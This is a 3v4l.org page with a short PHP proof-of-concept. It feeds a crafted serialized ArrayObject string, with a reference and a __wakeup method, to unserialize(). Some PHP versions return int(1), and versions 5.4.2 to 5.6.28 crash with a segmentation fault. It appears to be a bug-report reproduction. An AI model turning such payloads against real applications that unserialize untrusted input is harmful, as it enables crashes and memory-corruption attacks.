3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj { var $y; function __wakeup() { $this->y = 1; } } $inner = 'x:i:1;O:3:"obj":1:{s:1:"y";R:1;};m:a:1:{i:0;O:8:"stdClass":0:{}}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; var_dump(unserialize($exploit));
Output for 5.3.18 - 5.3.29, 7.0.0 - 7.2.0
int(1)
Output for 5.4.2 - 5.6.28

Process exited with code 139.